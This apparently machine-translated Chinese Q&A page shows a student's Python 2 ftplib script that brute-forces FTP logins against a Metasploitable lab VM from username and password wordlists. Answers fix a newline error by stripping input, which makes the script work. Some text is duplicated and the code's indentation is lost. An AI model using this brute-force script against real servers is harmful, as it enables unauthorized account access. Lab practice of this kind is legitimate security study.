错误[Python]ftplib模块的登录错误
我研究计算机安全,并在ftp服务器上重新创建暴力攻击,该服务器上安装了metasploitable虚拟机,但出现了一个错误。 奇怪的是,我见过其他人使用相同的代码,他们工作得很好,但当我在cmd中使用此代码时,我会出错,我不明白为什么 当我尝试执行脚本时,cmd告诉我以下行有错误:错误[Python]ftplib模块的登录错误,python,ftplib,valueerror,Python,Ftplib,Valueerror,我研究计算机安全,并在ftp服务器上重新创建暴力攻击,该服务器上安装了metasploitable虚拟机,但出现了一个错误。 奇怪的是,我见过其他人使用相同的代码,他们工作得很好,但当我在cmd中使用此代码时,我会出错,我不明白为什么 当我尝试执行脚本时,cmd告诉我以下行有错误: brute(ip, users_file, passwords_file) ans = conect.login(user, password) resp = self.sendcmd(´USER´, + user)
brute(ip, users_file, passwords_file)
ans = conect.login(user, password)
resp = self.sendcmd(´USER´, + user)
self.putcmd(cmd)
self.putline(line)
raise ValueError('an illegal newline character should not be contained')
ValueError an illegal newline character should not be contained
我尝试执行的代码如下:
import ftplib
import sys
def brute(ip, users_file, passwords_file):
try:
ud = open(users_file, "r")
pd = open(passwords_file, "r")
users = ud.readlines()
passwords = pd.readlines()
for user in users:
for password in passwords:
try:
print "[*]Trying to connect"
conect = ftplib.FTP(ip)
ans = conect.login(user, password)
if ans == "230 Login successful.":
print "[*]Successfull atack"
print "User: ", user
print "Password: ", password
sys.exit()
else:
pass
except ftplib.error_perm:
print "Can't Brute Force with user: " + user + " and password: " + password
conect.close
except(KeyboardInterrupt):
print "Interrupted. Later!"
sys.exit()
ip = raw_input("IP: ")
users_file = "users.txt"
passwords_file = "passwords.txt"
brute(ip, users_file, passwords_file)
有人知道为什么会发生这种情况吗?尝试从字符串中剥离任何尾随空格 更换
ans = conect.login(user, password)
与
ans = conect.login(user.strip(), password.strip())
嗨,我遇到了同样的问题。
在UbuntuMate和Windows7上,FTP块工作正常。我在Windows 10中安装了最新的Anaconda,出现了“raise ValueError('不应包含非法换行符')”错误。因此,我用Python3.6.0(我在Windows7中使用的版本)安装了Anaconda4.3.1,我没有更多的FTP问题。也许Anaconda/Python的早期版本也可以正常工作,我没有尝试。我想当你阅读其中的行时,可能需要取出一个
\n
。请参见:。但我不知道我从哪里得到了跳转行?脚本只读取了两个带有用户列和密码的.txt文件。@JhonatanZu tryans=conect.login(user.strip(),password.strip())
@Rakesh是的,它工作了。。谢谢兄弟,你是最好的。。。你是唯一能帮助我的人。。。然而,这没有任何意义,因为我的一个朋友也使用了没有条纹的“ans”,而且他和我一样没有问题。。。但我猜在编程中有时会发生超自然的事情XD